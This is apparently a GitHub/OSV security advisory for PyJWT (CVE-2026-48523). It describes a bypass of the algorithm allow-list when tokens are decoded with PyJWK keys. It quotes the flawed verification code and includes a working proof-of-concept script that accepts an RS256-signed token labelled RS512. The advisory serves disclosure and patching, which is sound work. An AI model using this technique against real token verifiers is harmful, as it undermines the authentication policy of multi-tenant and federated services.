{"schema_version":"1.7.5","id":"GHSA-jq35-7prp-9v3f","published":"2026-06-15T19:27:48Z","modified":"2026-06-16T15:44:20.868973576Z","aliases":["CVE-2026-48523","PYSEC-2026-176"],"related":["CGA-vrmj-m992-2qrx"],"summary":"PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys","details":"> [!NOTE]\n> Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n    algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n    raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n    alg_obj = key.Algorithm\n    prepared_key = key.key\nelse:\n    alg_obj = self.get_algorithm_by_name(alg)\n    prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n    algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n    token,\n    signing_key,\n    audience=\"https://expenses-api\",\n    options={\"verify_exp\": False},\n    algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n    json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n    json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n    print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n    print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{'sub': 'alice'}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw","affected":[{"package":{"name":"pyjwt","ecosystem":"PyPI","purl":"pkg:pypi/pyjwt"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.0"},{"fixed":"2.13.0"}]}],"versions":["2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-jq35-7prp-9v3f/GHSA-jq35-7prp-9v3f.json"}}],"references":[{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48523"},{"type":"PACKAGE","url":"https://github.com/jpadilla/pyjwt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-06-15T19:27:48Z","nvd_published_at":"2026-05-28T16:16:29Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}